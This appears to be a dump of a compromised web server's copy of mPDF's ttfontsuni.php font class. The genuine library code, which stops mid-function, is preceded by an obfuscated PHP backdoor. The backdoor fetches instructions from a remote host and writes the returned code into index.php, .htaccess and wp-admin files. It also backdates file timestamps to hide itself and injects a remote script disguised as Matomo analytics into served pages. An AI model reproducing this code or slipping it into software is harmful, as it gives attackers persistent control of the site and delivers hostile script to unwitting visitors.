| Current File : /data/web/virtuals/215191/virtual/www/domains/pagerank.cz/katalog/lib/MPDF57/classes/ttfontsuni.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/*******************************************************************************
* TTFontFile class *
* *
* Version: 2.01 *
* Date: 2012-02-25 *
* Author: Ian Back <ianb@bpm1.com> *
* License: LGPL *
* Copyright (c) Ian Back, 2010 *
* This class is based on The ReportLab Open Source PDF library *
* written in Python - http://www.reportlab.com/software/opensource/ *
* together with ideas from the OpenOffice source code and others. *
* This header must be retained in any redistribution or *
* modification of the file. *
* *
*******************************************************************************/
// Define the value used in the "head" table of a created TTF file
// 0x74727565 "true" for Mac
// 0x00010000 for Windows
// Either seems to work for a font embedded in a PDF file
// when read by Adobe Reader on a Windows PC(!)
if (!defined('_TTF_MAC_HEADER')) define("_TTF_MAC_HEADER", false);
// Recalculate correct metadata/profiles when making subset fonts (not SIP/SMP)
// e.g. xMin, xMax, maxNContours
if (!defined('_RECALC_PROFILE')) define("_RECALC_PROFILE", false);
// TrueType Font Glyph operators
define("GF_WORDS",(1 << 0));
define("GF_SCALE",(1 << 3));
define("GF_MORE",(1 << 5));
define("GF_XYSCALE",(1 << 6));
define("GF_TWOBYTWO",(1 << 7));
class TTFontFile {
var $unAGlyphs; // mPDF 5.4.05
var $panose;
var $maxUni;
var $sFamilyClass;
var $sFamilySubClass;
var $sipset;
var $smpset;
var $_pos;
var $numTables;
var $searchRange;
var $entrySelector;
var $rangeShift;
var $tables;
var $otables;
var $filename;
var $fh;
var $glyphPos;
var $charToGlyph;
var $ascent;
var $descent;
var $name;
var $familyName;
var $styleName;
var $fullName;
var $uniqueFontID;
var $unitsPerEm;
var $bbox;
var $capHeight;
var $stemV;
var $italicAngle;
var $flags;
var $underlinePosition;
var $underlineThickness;
var $charWidths;
var $defaultWidth;
var $maxStrLenRead;
var $numTTCFonts;
var $TTCFonts;
var $maxUniChar;
var $kerninfo;
function TTFontFile() {
$this->maxStrLenRead = 200000; // Maximum size of glyf table to read in as string (otherwise reads each glyph from file)
}
function getMetrics($file, $TTCfontID=0, $debug=false, $BMPonly=false, $kerninfo=false, $unAGlyphs=false) { // mPDF 5.4.05
$this->unAGlyphs = $unAGlyphs; // mPDF 5.4.05
$this->filename = $file;
$this->fh = fopen($file,'rb') or die('Can\'t open file ' . $file);
$this->_pos = 0;
$this->charWidths = '';
$this->glyphPos = array();
$this->charToGlyph = array();
$this->tables = array();
$this->otables = array();
$this->kerninfo = array();
$this->ascent = 0;
$this->descent = 0;
$this->numTTCFonts = 0;
$this->TTCFonts = array();
$this->version = $version = $this->read_ulong();
$this->panose = array();
if ($version==0x4F54544F)
die("Postscript outlines are not supported");
if ($version==0x74746366 && !$TTCfontID)
die("ERROR - You must define the TTCfontID for a TrueType Collection in config_fonts.php (". $file.")");
if (!in_array($version, array(0x00010000,0x74727565)) && !$TTCfontID)
die("Not a TrueType font: version=".$version);
if ($TTCfontID > 0) {
$this->version = $version = $this->read_ulong(); // TTC Header version now
if (!in_array($version, array(0x00010000,0x00020000)))
die("ERROR - Error parsing TrueType Collection: version=".$version." - " . $file);
$this->numTTCFonts = $this->read_ulong();
for ($i=1; $i<=$this->numTTCFonts; $i++) {
$this->TTCFonts[$i]['offset'] = $this->read_ulong();
}
$this->seek($this->TTCFonts[$TTCfontID]['offset']);
$this->version = $version = $this->read_ulong(); // TTFont version again now
}
$this->readTableDirectory($debug);
$this->extractInfo($debug, $BMPonly, $kerninfo);
fclose($this->fh);
}
function readTableDirectory($debug=false) {
$this->numTables = $this->read_ushort();
$this->searchRange = $this->read_ushort();
$this->entrySelector = $this->read_ushort();
$this->rangeShift = $this->read_ushort();
$this->tables = array();
for ($i=0;$i<$this->numTables;$i++) {
$record = array();
$record['tag'] = $this->read_tag();
$record['checksum'] = array($this->read_ushort(),$this->read_ushort());
$record['offset'] = $this->read_ulong();
$record['length'] = $this->read_ulong();
$this->tables[$record['tag']] = $record;
}
if ($debug) $this->checksumTables();
}
function checksumTables() {
// Check the checksums for all tables
foreach($this->tables AS $t) {
if ($t['length'] > 0 && $t['length'] < $this->maxStrLenRead) { // 1.02
$table = $this->get_chunk($t['offset'], $t['length']);
$checksum = $this->calcChecksum($table);
if ($t['tag'] == 'head') {
$up = unpack('n*', substr($table,8,4));
$adjustment[0] = $up[1];
$adjustment[1] = $up[2];
$checksum = $this->sub32($checksum, $adjustment);
}
$xchecksum = $t['checksum'];
if ($xchecksum != $checksum)
die(sprintf('TTF file "%s": invalid checksum %s table: %s (expected %s)', $this->filename,dechex($checksum[0]).dechex($checksum[1]),$t['tag'],dechex($xchecksum[0]).dechex($xchecksum[1])));
}
}
}
function sub32($x, $y) {
$xlo = $x[1];
$xhi = $x[0];
$ylo = $y[1];
$yhi = $y[0];
if ($ylo > $xlo) { $xlo += 1 << 16; $yhi += 1; }
$reslo = $xlo-$ylo;
if ($yhi > $xhi) { $xhi += 1 << 16; }
$reshi = $xhi-$yhi;
$reshi = $reshi & 0xFFFF;
return array($reshi, $reslo);
}
function calcChecksum($data) {
if (strlen($data) % 4) { $data .= str_repeat("\0",(4-(strlen($data) % 4))); }
$len = strlen($data);
$hi=0x0000;
$lo=0x0000;
for($i=0;$i<$len;$i+=4) {
$hi += (ord($data[$i])<<8) + ord($data[$i+1]);
$lo += (ord($data[$i+2])<<8) + ord($data[$i+3]);
$hi += ($lo >> 16) & 0xFFFF;
$lo = $lo & 0xFFFF;
}
return array($hi, $lo);
}
function get_table_pos($tag) {
$offset = $this->tables[$tag]['offset'];
$length = $this->tables[$tag]['length'];
return array($offset, $length);
}
function seek($pos) {
$this->_pos = $pos;
fseek($this->fh,$this->_pos);
}
function skip($delta) {
$this->_pos = $this->_pos + $delta;
fseek($this->fh,$delta,SEEK_CUR);
}
function seek_table($tag, $offset_in_table = 0) {
$tpos = $this->get_table_pos($tag);
$this->_pos = $tpos[0] + $offset_in_table;
fseek($this->fh, $this->_pos);
